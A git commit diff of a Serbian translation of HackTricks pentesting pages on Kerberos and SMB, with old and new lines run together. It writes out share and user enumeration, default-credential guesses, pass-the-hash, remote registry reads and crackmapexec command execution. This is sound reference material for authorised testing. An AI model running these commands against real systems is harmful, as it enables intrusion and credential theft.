Translated ['src/network-services-pentesting/pentesting-kerberos-88/READ

This commit is contained in:
Translator 2025-09-29 09:37:45 +00:00
parent b18f82c28a
commit 56ff71d995
4 changed files with 383 additions and 253 deletions

View File

@ -4,18 +4,55 @@
## Osnovne informacije ## Osnovne informacije
**Kerberos** funkcioniše na principu gde autentifikuje korisnike bez direktnog upravljanja njihovim pristupom resursima. Ovo je važna razlika jer naglašava ulogu protokola u bezbednosnim okvirima. **Kerberos** funkcioniše po principu kojim autentifikuje korisnike, ali ne upravlja direktno njihovim pristupom resursima. To je važna razlika jer naglašava ulogu protokola u sigurnosnim okvirima.
U okruženjima kao što je **Active Directory**, **Kerberos** je ključan za uspostavljanje identiteta korisnika validacijom njihovih tajnih lozinki. Ovaj proces osigurava da je identitet svakog korisnika potvrđen pre nego što interaguju sa mrežnim resursima. Međutim, **Kerberos** ne proširuje svoju funkcionalnost na procenu ili sprovođenje dozvola koje korisnik ima nad specifičnim resursima ili uslugama. Umesto toga, pruža siguran način autentifikacije korisnika, što je kritičan prvi korak u bezbednosnom procesu. U okruženjima kao što je **Active Directory**, **Kerberos** ima ključnu ulogu u utvrđivanju identiteta korisnika proverom njihovih tajnih lozinki. Ovaj proces osigurava da je identitet svakog korisnika potvrđen pre nego što pristupi mrežnim resursima. Međutim, **Kerberos** ne obuhvata procenu niti sprovođenje dozvola koje korisnik ima nad određenim resursima ili servisima. Umesto toga, on pruža siguran način autentifikacije korisnika, što je ključni prvi korak u sigurnosnom procesu.
Nakon autentifikacije od strane **Kerberos**, proces donošenja odluka o pristupu resursima se delegira pojedinačnim uslugama unutar mreže. Ove usluge su zatim odgovorne za procenu prava i dozvola autentifikovanog korisnika, na osnovu informacija koje **Kerberos** pruža o privilegijama korisnika. Ovaj dizajn omogućava razdvajanje briga između autentifikacije identiteta korisnika i upravljanja njihovim pravima pristupa, omogućavajući fleksibilniji i sigurniji pristup upravljanju resursima u distribuiranim mrežama. Nakon autentifikacije od strane **Kerberos**, proces donošenja odluka o pristupu resursima prepušta se pojedinačnim servisima unutar mreže. Ti servisi su odgovorni za procenu prava i dozvola autentifikovanog korisnika, na osnovu informacija koje **Kerberos** pruža o korisnikovim privilegijama. Ovaj dizajn omogućava razdvajanje odgovornosti između autentifikacije identiteta korisnika i upravljanja njihovim pristupnim pravima, što omogućava fleksibilniji i sigurniji pristup upravljanju resursima u distribuiranim mrežama.
**Podrazumevani port:** 88/tcp/udp **Podrazumevani port:** 88/tcp/udp
``` ```
PORT STATE SERVICE PORT STATE SERVICE
88/tcp open kerberos-sec 88/tcp open kerberos-sec
``` ```
### **Da biste naučili kako da zloupotrebljavate Kerberos, trebali biste pročitati post o** [**Active Directory**](../../windows-hardening/active-directory-methodology/index.html)**.** ### **Da biste naučili kako zloupotrebiti Kerberos, trebalo bi da pročitate post o** [**Active Directory**](../../windows-hardening/active-directory-methodology/index.html)**.**
## Okruženja samo sa Kerberosom: priprema klijenta i rešavanje problema
Kada je NTLM onemogućen na servisima domena (SMB/WinRM/itd.), morate se autentifikovati pomoću Kerberos. Uobičajene zamke i radni tok koji funkcioniše:
- Sinhronizacija vremena je obavezna. Ako je sat na vašem hostu pomeren za više od nekoliko minuta, videćete `KRB_AP_ERR_SKEW` i sva Kerberos autentifikacija će propasti. Sinhronizujte sa DC-jem:
```bash
# quick one-shot sync (requires sudo)
sudo ntpdate <dc.fqdn> || sudo chronyd -q 'server <dc.fqdn> iburst'
```
- Generišite važeći krb5.conf za ciljnu realm/domen. `netexec` (CME fork) može da vam generiše jedan dok testirate SMB:
```bash
# Generate krb5.conf and install it
netexec smb <dc.fqdn> -u <user> -p '<pass>' -k --generate-krb5-file krb5.conf
sudo cp krb5.conf /etc/krb5.conf
```
- Dobijte TGT i proverite ccache:
```bash
kinit <user>
klist
```
- Koristite Kerberos sa SMB alatima (passwords se ne šalju, koristi vaš ccache):
```bash
# netexec / CME
netexec smb <dc.fqdn> -k # lists shares, runs modules using Kerberos
# impacket examples also support -k / --no-pass to use the ccache
smbclient --kerberos //<dc.fqdn>/IPC$
```
- GSSAPI SSH jedinstvena prijava (SSO) (OpenSSH to Windows OpenSSH server):
```bash
# Ensure krb5.conf is correct and you have a TGT (kinit)
# Use the FQDN that matches the host SPN. Wrong names cause: "Server not found in Kerberos database"
ssh -o GSSAPIAuthentication=yes <user>@<host.fqdn>
```
Saveti:
- Uverite se da vaš `/etc/hosts` rešava tačan FQDN na koji ćete se povezivati preko SSH/SMB, i da je taj unos pre bilo kojih unosa za goli domen ako prepisujete DNS. Neslaganja u SPN-u prekidaju GSSAPI.
- Ako je NTLM onemogućen na SMB, možete videti `STATUS_NOT_SUPPORTED` kod NTLM pokušaja; dodajte `-k` da primorate Kerberos.
## Više ## Više
@ -25,15 +62,23 @@ PORT STATE SERVICE
### MS14-068 ### MS14-068
MS14-068 greška omogućava napadaču da manipuliše Kerberos prijavnim tokenom legitimnog korisnika kako bi lažno tvrdio da ima povišene privilegije, kao što je biti Domain Admin. Ova lažna tvrdnja se pogrešno validira od strane Domain Controller-a, omogućavajući neovlašćen pristup mrežnim resursima širom Active Directory šume. Propust MS14-068 omogućava napadaču da manipuliše legitimnog korisnika Kerberos login tokenom kako bi lažno tvrdio povišene privilegije, kao što je Domain Admin. Ova falsifikovana tvrdnja se greškom potvrđuje od strane Domain Controller-a, omogućavajući neovlašćen pristup mrežnim resursima širom Active Directory forest-a.
{{#ref}} {{#ref}}
https://adsecurity.org/?p=541 https://adsecurity.org/?p=541
{{#endref}} {{#endref}}
Ostali eksploiti: [https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS14-068/pykek](https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS14-068/pykek) Other exploits: [https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS14-068/pykek](https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS14-068/pykek)
## HackTricks Automatske Komande ## Reference
- [NetExec (CME) wiki Kerberos and krb5.conf generation](https://www.netexec.wiki/)
- [OpenSSH GSSAPIAuthentication](https://man.openbsd.org/ssh_config#GSSAPIAuthentication)
- [MIT Kerberos Using Kerberos on UNIX](https://web.mit.edu/kerberos/krb5-1.12/doc/user/user_config.html)
- [0xdf HTB: TheFrizz](https://0xdf.gitlab.io/2025/08/23/htb-thefrizz.html)
## HackTricks Automatske komande
``` ```
Protocol_Name: Kerberos #Protocol Abbreviation if there is one. Protocol_Name: Kerberos #Protocol Abbreviation if there is one.
Port_Number: 88 #Comma separated if there is more than one. Port_Number: 88 #Comma separated if there is more than one.

View File

@ -4,43 +4,43 @@
## **Port 139** ## **Port 139**
The _**Mrežni osnovni ulazno-izlazni sistem**_** (NetBIOS)** je softverski protokol dizajniran da omogući aplikacijama, računarima i desktop računarima unutar lokalne mreže (LAN) da komuniciraju sa mrežnim hardverom i **olakšaju prenos podataka preko mreže**. Identifikacija i lociranje softverskih aplikacija koje rade na NetBIOS mreži postiže se pomoću njihovih NetBIOS imena, koja mogu imati do 16 karaktera i često se razlikuju od naziva računara. NetBIOS sesija između dve aplikacije se pokreće kada jedna aplikacija (koja deluje kao klijent) pošalje naredbu da "pozove" drugu aplikaciju (koja deluje kao server) koristeći **TCP Port 139**. _**Mrežni osnovni ulazno-izlazni sistem**_** (NetBIOS)** je softverski protokol osmišljen da omogući aplikacijama, PC-ima i desktop računarima unutar lokalne računarske mreže (LAN) da komuniciraju sa mrežnim hardverom i **olakšaju prenos podataka preko mreže**. Identifikacija i lociranje softverskih aplikacija koje rade na NetBIOS mreži postiže se pomoću njihovih NetBIOS imena, koja mogu imati do 16 karaktera i često se razlikuju od imena računara. NetBIOS sesija između dve aplikacije inicira se kada jedna aplikacija (koja funkcioniše kao klijent) izda komandu da "pozove" drugu aplikaciju (koja funkcioniše kao server) koristeći **TCP Port 139**.
``` ```
139/tcp open netbios-ssn Microsoft Windows netbios-ssn 139/tcp open netbios-ssn Microsoft Windows netbios-ssn
``` ```
## Port 445 ## Port 445
Tehnički, Port 139 se naziva NBT over IP, dok je Port 445 identifikovan kao SMB over IP. Akronim **SMB** predstavlja **Server Message Blocks**, koji je takođe u novije vreme poznat kao **Common Internet File System (CIFS)**. Kao protokol na aplikativnom sloju mreže, SMB/CIFS se prvenstveno koristi za omogućavanje zajedničkog pristupa fajlovima, štampačima, serijskim portovima i za olakšavanje različitih oblika komunikacije između čvorova na mreži. Tehnički, Port 139 se naziva NBT over IP, dok se Port 445 označava kao SMB over IP. Akronim **SMB** znači **Server Message Blocks**, što je modernije poznato kao **Common Internet File System (CIFS)**. Kao mrežni protokol na sloju aplikacija, SMB/CIFS se pretežno koristi za omogućavanje deljenog pristupa fajlovima, printerima, serijskim portovima i za olakšavanje različitih oblika komunikacije između čvorova na mreži.
Na primer, u kontekstu Windowsa, ističe se da SMB može raditi direktno preko TCP/IP, čime se eliminiše potreba za NetBIOS over TCP/IP, korišćenjem porta 445. Suprotno tome, na drugim sistemima se može koristiti port 139, što ukazuje da se SMB izvršava zajedno sa NetBIOS over TCP/IP. Na primer, u kontekstu Windows, ističe se da SMB može raditi direktno preko TCP/IP, čime se ukida potreba za NetBIOS over TCP/IP korišćenjem porta 445. Nasuprot tome, na drugim sistemima se koristi port 139, što ukazuje da se SMB izvršava zajedno sa NetBIOS over TCP/IP.
``` ```
445/tcp open microsoft-ds Windows 7 Professional 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP) 445/tcp open microsoft-ds Windows 7 Professional 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP)
``` ```
### SMB ### SMB
Protokol **Server Message Block (SMB)**, koji radi po **client-server** modelu, namenjen je za regulisanje **pristupa fajlovima**, direktorijumima i drugim mrežnim resursima kao što su štampači i ruteri. Uglavnom se koristi unutar serije operativnih sistema **Windows**, a SMB obezbeđuje kompatibilnost unazad, dopuštajući uređajima sa novijim verzijama Microsoft-ovog operativnog sistema da nesmetano komuniciraju sa onima koji koriste starije verzije. Pored toga, projekat **Samba** nudi rešenje slobodnog softvera koje omogućava implementaciju SMB na sistemima **Linux** i **Unix**, čime se olakšava komunikacija između različitih platformi putem SMB. The **Server Message Block (SMB)** protocol, operating in a **client-server** model, is designed for regulating **access to files**, directories, and other network resources like printers and routers. Primarily utilized within the **Windows** operating system series, SMB ensures backward compatibility, allowing devices with newer versions of Microsoft's operating system to seamlessly interact with those running older versions. Additionally, the **Samba** project offers a free software solution, enabling SMB's implementation on **Linux** and Unix systems, thereby facilitating cross-platform communication through SMB.
Shares, koji predstavljaju **arbitrarne delove lokalnog fajl sistema**, mogu biti obezbeđeni od strane SMB servera, čineći hijerarhiju vidljivom klijentu delimično **nezavisno** od stvarne strukture servera. The **Access Control Lists (ACLs)**, koje definišu **access rights**, omogućavaju **fine-grained control** nad korisničkim dozvolama, uključujući atribute kao što su **`execute`**, **`read`**, i **`full access`**. Ove dozvole se mogu dodeliti pojedinačnim korisnicima ili grupama, vezano za shares, i razlikuju se od lokalnih dozvola podešenih na serveru. Shares, representing **arbitrary parts of the local file system**, can be provided by an SMB server, making the hierarchy visible to a client partly **independent** from the server's actual structure. The **Access Control Lists (ACLs)**, which define **access rights**, allow for **fine-grained control** over user permissions, including attributes like **`execute`**, **`read`**, and **`full access`**. These permissions can be assigned to individual users or groups, based on the shares, and are distinct from the local permissions set on the server.
### IPC$ Share ### IPC$ Share
Pristup IPC$ share-u može se dobiti putem anonimne null session, što omogućava interakciju sa servisima izloženim preko named pipes. Alat `enum4linux` je koristan za ovu namenu. Ako se pravilno koristi, omogućava pribavljanje: Access to the IPC$ share can be obtained through an anonymous null session, allowing for interaction with services exposed via named pipes. The utility `enum4linux` is useful for this purpose. Utilized properly, it enables the acquisition of:
- Informacije o operativnom sistemu - Information on the operating system
- Detalja o nadređenom domenu - Details on the parent domain
- Liste lokalnih korisnika i grupa - A compilation of local users and groups
- Informacija o dostupnim SMB shares - Information on available SMB shares
- Efektivne politike bezbednosti sistema - The effective system security policy
Ova funkcionalnost je ključna za mrežne administratore i bezbednosne profesionalce kako bi procenili bezbednosni položaj SMB (Server Message Block) servisa u mreži. `enum4linux` pruža sveobuhvatan pregled SMB okruženja ciljnog sistema, što je neophodno za identifikovanje potencijalnih ranjivosti i osiguravanje da su SMB servisi pravilno zaštićeni. This functionality is critical for network administrators and security professionals to assess the security posture of SMB (Server Message Block) services on a network. `enum4linux` provides a comprehensive view of the target system's SMB environment, which is essential for identifying potential vulnerabilities and ensuring that the SMB services are properly secured.
```bash ```bash
enum4linux -a target_ip enum4linux -a target_ip
``` ```
Gore navedena komanda predstavlja primer kako se `enum4linux` može koristiti za kompletnu enumeraciju cilja označenog kao `target_ip`. Gornja komanda je primer kako se `enum4linux` može koristiti za izvođenje kompletne enumeracije protiv cilja specificiranog kao `target_ip`.
## Šta je NTLM ## Šta je NTLM
Ako ne znate šta je NTLM ili želite da saznate kako funkcioniše i kako ga zloupotrebiti, veoma će vam biti zanimljiva ova stranica o **NTLM** na kojoj je objašnjeno **kako ovaj protokol funkcioniše i kako ga možete iskoristiti:** Ako ne znate šta je NTLM ili želite da saznate kako funkcioniše i kako ga zloupotrebiti, biće vam veoma interesantna ova stranica o **NTLM** na kojoj je objašnjeno **kako ovaj protokol funkcioniše i kako možete iskoristiti njegove slabosti:**
{{#ref}} {{#ref}}
@ -49,15 +49,15 @@ Ako ne znate šta je NTLM ili želite da saznate kako funkcioniše i kako ga zlo
## **Enumeracija servera** ## **Enumeracija servera**
### **Scan** mreže u potrazi za hostovima: ### **Scan** mrežu tražeći hostove:
```bash ```bash
nbtscan -r 192.168.0.1/24 nbtscan -r 192.168.0.1/24
``` ```
### Verzija SMB servera ### Verzija SMB servera
Da biste tražili moguće exploits za SMB, važno je znati koja verzija se koristi. Ako se ova informacija ne pojavljuje u drugim alatima koje koristite, možete: Da biste tražili moguće exploits za SMB, važno je znati koja verzija se koristi. Ako ove informacije nisu dostupne u drugim korišćenim alatima, možete:
- Koristite **MSF** pomoćni modul `**auxiliary/scanner/smb/smb_version**` - Use the **MSF** auxiliary module `**auxiliary/scanner/smb/smb_version**`
- Ili ovaj skript: - Ili ovaj skript:
```bash ```bash
#!/bin/sh #!/bin/sh
@ -80,9 +80,9 @@ echo "" && sleep .1
msf> search type:exploit platform:windows target:2008 smb msf> search type:exploit platform:windows target:2008 smb
searchsploit microsoft smb searchsploit microsoft smb
``` ```
### **Mogući** podaci za prijavu ### **Mogući** Credentials
| **Korisničko ime(i)** | **Uobičajene lozinke** | | **Username(s)** | **Common passwords** |
| -------------------- | ----------------------------------------- | | -------------------- | ----------------------------------------- |
| _(blank)_ | _(blank)_ | | _(blank)_ | _(blank)_ |
| guest | _(blank)_ | | guest | _(blank)_ |
@ -96,7 +96,7 @@ searchsploit microsoft smb
- [**SMB Brute Force**](../../generic-hacking/brute-force.md#smb) - [**SMB Brute Force**](../../generic-hacking/brute-force.md#smb)
### Informacije o SMB okruženju ### SMB informacije o okruženju
### Pribavljanje informacija ### Pribavljanje informacija
```bash ```bash
@ -120,7 +120,7 @@ rpcclient -U "username%passwd" <IP> #With creds
/usr/share/doc/python3-impacket/examples/rpcdump.py -port 139 [[domain/]username[:password]@]<targetName or address> /usr/share/doc/python3-impacket/examples/rpcdump.py -port 139 [[domain/]username[:password]@]<targetName or address>
/usr/share/doc/python3-impacket/examples/rpcdump.py -port 445 [[domain/]username[:password]@]<targetName or address> /usr/share/doc/python3-impacket/examples/rpcdump.py -port 445 [[domain/]username[:password]@]<targetName or address>
``` ```
### Enumerišite korisnike, grupe i prijavljene korisnike ### Nabrajanje korisnika, grupa i prijavljenih korisnika
Ove informacije bi već trebalo da budu prikupljene pomoću enum4linux i enum4linux-ng Ove informacije bi već trebalo da budu prikupljene pomoću enum4linux i enum4linux-ng
```bash ```bash
@ -134,13 +134,13 @@ rpcclient -U "" -N 10.10.10.10
enumdomusers enumdomusers
enumdomgroups enumdomgroups
``` ```
### Enumeracija lokalnih korisnika ### Enumerišite lokalne korisnike
[Impacket](https://github.com/fortra/impacket/blob/master/examples/lookupsid.py) [Impacket](https://github.com/fortra/impacket/blob/master/examples/lookupsid.py)
```bash ```bash
lookupsid.py -no-pass hostname.local lookupsid.py -no-pass hostname.local
``` ```
Jednolinijska komanda Jednolinijski
```bash ```bash
for i in $(seq 500 1100);do rpcclient -N -U "" 10.10.10.10 -c "queryuser 0x$(printf '%x\n' $i)" | grep "User Name\|user_rid\|group_rid" && echo "";done for i in $(seq 500 1100);do rpcclient -N -U "" 10.10.10.10 -c "queryuser 0x$(printf '%x\n' $i)" | grep "User Name\|user_rid\|group_rid" && echo "";done
``` ```
@ -150,7 +150,7 @@ use auxiliary/scanner/smb/smb_lookupsid
set rhosts hostname.local set rhosts hostname.local
run run
``` ```
### **Enumeracija LSARPC i SAMR rpcclient** ### **Enumerisanje LSARPC i SAMR rpcclient**
{{#ref}} {{#ref}}
@ -163,15 +163,15 @@ rpcclient-enumeration.md
`xdg-open smb://cascade.htb/` `xdg-open smb://cascade.htb/`
#### U prozoru file managera (nautilus, thunar, itd.) #### U prozoru file browser-a (nautilus, thunar, itd)
`smb://friendzone.htb/general/` `smb://friendzone.htb/general/`
## Enumeracija deljenih foldera ## Enumeracija deljenih foldera
### Lista deljenih foldera ### Prikaz deljenih foldera
Uvek se preporučuje da proverite da li možete pristupiti nečemu; ako nemate credentials, pokušajte koristiti **null** **credentials/guest user**. Preporučuje se da uvek proverite da li možete pristupiti nečemu; ako nemate kredencijale, pokušajte koristiti **null** **credentials/guest user**.
```bash ```bash
smbclient --no-pass -L //<IP> # Null user smbclient --no-pass -L //<IP> # Null user
smbclient -U 'username[%passwd]' -L [--pw-nt-hash] //<IP> #If you omit the pwd, it will be prompted. With --pw-nt-hash, the pwd provided is the NT hash smbclient -U 'username[%passwd]' -L [--pw-nt-hash] //<IP> #If you omit the pwd, it will be prompted. With --pw-nt-hash, the pwd provided is the NT hash
@ -197,11 +197,11 @@ smbmap [-u "username" -p "password"] -R [Folder] -H <IP> [-P <PORT>] # Recursive
smbmap [-u "username" -p "password"] -r [Folder] -H <IP> [-P <PORT>] # Non-Recursive list smbmap [-u "username" -p "password"] -r [Folder] -H <IP> [-P <PORT>] # Non-Recursive list
smbmap -u "username" -p "<NT>:<LM>" [-r/-R] [Folder] -H <IP> [-P <PORT>] #Pass-the-Hash smbmap -u "username" -p "<NT>:<LM>" [-r/-R] [Folder] -H <IP> [-P <PORT>] #Pass-the-Hash
``` ```
### **Ručno nabrajanje windows share-ova i povezivanje na njih** ### **Ručno enumerišite Windows share-ove i povežite se na njih**
Moguće je da vam je onemogućeno prikazivanje share-ova na host mašini i da kada pokušate da ih nabrojite deluje kao da ne postoji nijedan share za povezivanje. Zato vredi pokušati kratko se ručno povezati na share. Da biste ručno nabrojali share-ove, obratite pažnju na odgovore kao što su NT_STATUS_ACCESS_DENIED i NT_STATUS_BAD_NETWORK_NAME pri korišćenju važeće sesije (npr. null session or valid credentials). Ovi odgovori mogu ukazivati da li share postoji, ali nemate pristup, ili da share uopšte ne postoji. Moguće je da vam je onemogućeno prikazivanje share-ova na host mašini i kada pokušate da ih nabrojite čini se kao da nema share-ova za povezivanje. Zato vredi kratko pokušati ručno povezivanje na share. Da biste ručno enumerisali share-ove, obratite pažnju na odgovore poput NT_STATUS_ACCESS_DENIED i NT_STATUS_BAD_NETWORK_NAME kada koristite validnu sesiju (npr. null session or valid credentials). Oni mogu ukazivati da share postoji, ali nemate pristup, ili da share uopšte ne postoji.
Common share names for windows targets are Uobičajena imena share-ova za Windows ciljeve su
- C$ - C$
- D$ - D$
@ -214,7 +214,7 @@ Common share names for windows targets are
(Common share names from _**Network Security Assessment 3rd edition**_) (Common share names from _**Network Security Assessment 3rd edition**_)
You can try to connect to them by using the following command Možete pokušati da se povežete na njih koristeći sledeću komandu
```bash ```bash
smbclient -U '%' -N \\\\<IP>\\<SHARE> # null session to connect to a windows share smbclient -U '%' -N \\\\<IP>\\<SHARE> # null session to connect to a windows share
smbclient -U '<USER>' \\\\<IP>\\<SHARE> # authenticated session to connect to a windows share (you will be prompted for a password) smbclient -U '<USER>' \\\\<IP>\\<SHARE> # authenticated session to connect to a windows share (you will be prompted for a password)
@ -238,10 +238,10 @@ done
``` ```
primeri primeri
```bash ```bash
smbclient -U '%' -N \\\\192.168.0.24\\im_clearly_not_here # returns NT_STATUS_BAD_NETWORK_NAME smbclient -U '%' -N \\192.168.0.24\\im_clearly_not_here # returns NT_STATUS_BAD_NETWORK_NAME
smbclient -U '%' -N \\\\192.168.0.24\\ADMIN$ # returns NT_STATUS_ACCESS_DENIED or even gives you a session smbclient -U '%' -N \\192.168.0.24\\ADMIN$ # returns NT_STATUS_ACCESS_DENIED or even gives you a session
``` ```
### **Enumeracija deljenih resursa na Windows-u / bez alata treće strane** ### **Nabrajanje deljenih resursa sa Windowsa / bez alata treće strane**
PowerShell PowerShell
```bash ```bash
@ -260,7 +260,7 @@ net share
# List shares on a remote computer (including hidden ones) # List shares on a remote computer (including hidden ones)
net view \\<ip> /all net view \\<ip> /all
``` ```
MMC Snap-in (grafički) MMC Snap-in (grafičko sučelje)
```shell ```shell
# Shared Folders: Shared Folders > Shares # Shared Folders: Shared Folders > Shares
fsmgmt.msc fsmgmt.msc
@ -269,14 +269,14 @@ compmgmt.msc
``` ```
explorer.exe (grafički), unesite `\\<ip>\` da biste videli dostupne neskrivene deljene resurse. explorer.exe (grafički), unesite `\\<ip>\` da biste videli dostupne neskrivene deljene resurse.
### Montiranje deljenog direktorijuma ### Montiranje deljenog foldera
```bash ```bash
mount -t cifs //x.x.x.x/share /mnt/share mount -t cifs //x.x.x.x/share /mnt/share
mount -t cifs -o "username=user,password=password" //x.x.x.x/share /mnt/share mount -t cifs -o "username=user,password=password" //x.x.x.x/share /mnt/share
``` ```
### **Preuzimanje datoteka** ### **Preuzimanje fajlova**
Pročitajte prethodne sekcije da biste naučili kako da se povežete pomoću credentials/Pass-the-Hash. Pročitajte prethodne odeljke da biste naučili kako da se povežete koristeći credentials/Pass-the-Hash.
```bash ```bash
#Search a file and download #Search a file and download
sudo smbmap -R Folder -H <IP> -A <FileName> -q # Search the file in recursive mode and download it inside /usr/share/smbmap sudo smbmap -R Folder -H <IP> -A <FileName> -q # Search the file in recursive mode and download it inside /usr/share/smbmap
@ -291,16 +291,16 @@ smbclient //<IP>/<share>
> mget * > mget *
#Download everything to current directory #Download everything to current directory
``` ```
Naredbe: Commands:
- mask: specificira masku koja se koristi za filtriranje fajlova unutar direktorijuma (npr. "" za sve fajlove) - mask: određuje masku koja se koristi za filtriranje fajlova unutar direktorijuma (npr. "" za sve fajlove)
- recurse: uključuje rekurziju (podrazumevano: isključeno) - recurse: uključuje rekurziju (podrazumevano: isključeno)
- prompt: isključuje prompt za imena fajlova (podrazumevano: uključeno) - prompt: isključuje promptovanje za imena fajlova (podrazumevano: uključeno)
- mget: kopira sve fajlove koji odgovaraju maski sa hosta na klijentsku mašinu - mget: kopira sve fajlove koji odgovaraju maski sa hosta na klijentsku mašinu
(_Informacije iz man stranice smbclient_) (_Informacije iz man stranice smbclient_)
### Pretraga deljenih foldera domena ### Pretraga deljenih foldera u domeni
- [**Snaffler**](https://github.com/SnaffCon/Snaffler) - [**Snaffler**](https://github.com/SnaffCon/Snaffler)
```bash ```bash
@ -312,15 +312,15 @@ Snaffler.exe -s -d domain.local -o snaffler.log -v data
```bash ```bash
sudo crackmapexec smb 10.10.10.10 -u username -p pass -M spider_plus --share 'Department Shares' sudo crackmapexec smb 10.10.10.10 -u username -p pass -M spider_plus --share 'Department Shares'
``` ```
Posebno interesantni iz shares su fajlovi nazvani **`Registry.xml`** jer oni **mogu sadržavati lozinke** za korisnike konfigurisane sa **autologon** preko **Group Policy**. Ili **`web.config`** fajlovi jer sadrže kredencijale. Posebno su interesantni fajlovi na deljenjima koji se zovu **`Registry.xml`** jer oni **mogu sadržati lozinke** za korisnike konfigurisanе sa **autologon** preko Group Policy. Takođe obratite pažnju na **`web.config`** fajlove jer sadrže kredencijale.
> [!TIP] > [!TIP]
> **SYSVOL share** je **čitljiv** svim autentifikovanim korisnicima u domenu. Tamo možete **naći** mnoge različite batch, VBScript i PowerShell **skripte**.\ > **SYSVOL share** je **čitljiv** za sve autentifikovane korisnike u domenu. Tamo možete **naći** mnogo različitih batch, VBScript i PowerShell **skripti**.\
> Trebalo bi da **proverite** **skripte** unutar njega jer biste mogli **pronaći** osetljive informacije kao što su **lozinke**. > Trebalo bi da **proverite** **skripte** unutar njega jer možete **naći** osetljive informacije kao što su **lozinke**.
## Čitanje registra ## Čitanje Registry-ja
Možda ćete moći da **pročitate registry** koristeći neke pronađene kredencijale. Impacket **`reg.py`** vam omogućava da probate: Možda ćete moći da **pročitate Registry** koristeći neke pronađene kredencijale. Impacket **`reg.py`** vam omogućava da pokušate:
```bash ```bash
sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKU -s sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKU -s
sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKCU -s sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKCU -s
@ -328,35 +328,49 @@ sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a87
``` ```
## Post Exploitation ## Post Exploitation
The **default config of** a **Samba** server is usually located in `/etc/samba/smb.conf` and might have some **dangerous configs**: **Podrazumevana konfiguracija** **Samba** servera obično se nalazi u `/etc/samba/smb.conf` i može imati neke **opasne konfiguracije**:
| **Postavka** | **Opis** | | **Podešavanje** | **Opis** |
| --------------------------- | ------------------------------------------------------------------- | | --------------------------- | ------------------------------------------------------------------- |
| `browseable = yes` | Dozvoljava listanje dostupnih share-ova u trenutnom share-u? | | `browseable = yes` | Dozvoljava listanje dostupnih shares u trenutnom share-u? |
| `read only = no` | Zabranjuje kreiranje i modifikaciju fajlova? | | `read only = no` | Zabrana kreiranja i modifikacije fajlova? |
| `writable = yes` | Dozvoljava korisnicima da kreiraju i menjaju fajlove? | | `writable = yes` | Dozvoljava korisnicima da kreiraju i menjaju fajlove? |
| `guest ok = yes` | Dozvoljava povezivanje na servis bez korišćenja lozinke? | | `guest ok = yes` | Dozvoljava povezivanje na servis bez korišćenja lozinke? |
| `enable privileges = yes` | Poštuje privilegije dodeljene specifičnom SID-u? | | `enable privileges = yes` | Poštuje privilegije dodeljene određenom SID-u? |
| `create mask = 0777` | Koje permisije treba dodeliti novokreiranim fajlovima? | | `create mask = 0777` | Koje permisije moraju biti dodeljene novokreiranim fajlovima? |
| `directory mask = 0777` | Koje permisije treba dodeliti novokreiranim direktorijumima? | | `directory mask = 0777` | Koje permisije moraju biti dodeljene novokreiranim direktorijumima? |
| `logon script = script.sh` | Koji skript treba da se izvrši pri prijavi korisnika? | | `logon script = script.sh` | Koji skript treba da se izvrši pri prijavi korisnika? |
| `magic script = script.sh` | Koji skript treba da se izvrši kada se skript zatvori? | | `magic script = script.sh` | Koji skript treba da se izvrši kada se skript zatvori? |
| `magic output = script.out` | Gde treba da se čuva izlaz magic skripta? | | `magic output = script.out` | Gde treba biti sačuvan izlaz magic skripta? |
Komanda `smbstatus` daje informacije o **serveru** i o **tome ko je povezan**. Komanda `smbstatus` daje informacije o **serveru** i o **tome ko je povezan**.
## Autentifikacija koristeći Kerberos ## Autentifikacija koristeći Kerberos
Možete se **autentifikovati** na **Kerberos** koristeći alate **smbclient** i **rpcclient**: Možete se autentifikovati na Kerberos koristeći alate smbclient i rpcclient:
```bash ```bash
smbclient --kerberos //ws01win10.domain.com/C$ smbclient --kerberos //ws01win10.domain.com/C$
rpcclient -k ws01win10.domain.com rpcclient -k ws01win10.domain.com
``` ```
U Kerberos-only okruženjima (NTLM onemogućen), NTLM pokušaji prema SMB mogu vratiti `STATUS_NOT_SUPPORTED`. Ispravite uobičajene Kerberos probleme i forsirajte Kerberos auth:
```bash
# sync clock to avoid KRB_AP_ERR_SKEW
sudo ntpdate <dc.fqdn>
# use Kerberos with tooling (reads your TGT from ccache)
netexec smb <dc.fqdn> -k
```
Za kompletno podešavanje klijenta (generisanje krb5.conf, kinit, napomene za SSH GSSAPI/SPN) pogledajte:
{{#ref}}
../pentesting-kerberos-88/README.md
{{#endref}}
## **Izvršavanje komandi** ## **Izvršavanje komandi**
### **crackmapexec** ### **crackmapexec**
crackmapexec može izvršavati komande **iskorištavajući** bilo kog od **mmcexec, smbexec, atexec, wmiexec**, pri čemu je **wmiexec** **podrazumevana** metoda. Možete naznačiti koju opciju želite koristiti parametrom `--exec-method`: crackmapexec može izvršavati komande **iskorišćavajući** bilo koju od **mmcexec, smbexec, atexec, wmiexec**, pri čemu je **wmiexec** **podrazumevana** metoda. Možete naznačiti koju opciju želite koristiti pomoću parametra `--exec-method`:
```bash ```bash
apt-get install crackmapexec apt-get install crackmapexec
@ -380,9 +394,9 @@ crackmapexec smb <IP> -d <DOMAIN> -u Administrator -H <HASH> #Pass-The-Hash
``` ```
### [**psexec**](../../windows-hardening/lateral-movement/psexec-and-winexec.md)**/**[**smbexec**](../../windows-hardening/lateral-movement/smbexec.md) ### [**psexec**](../../windows-hardening/lateral-movement/psexec-and-winexec.md)**/**[**smbexec**](../../windows-hardening/lateral-movement/smbexec.md)
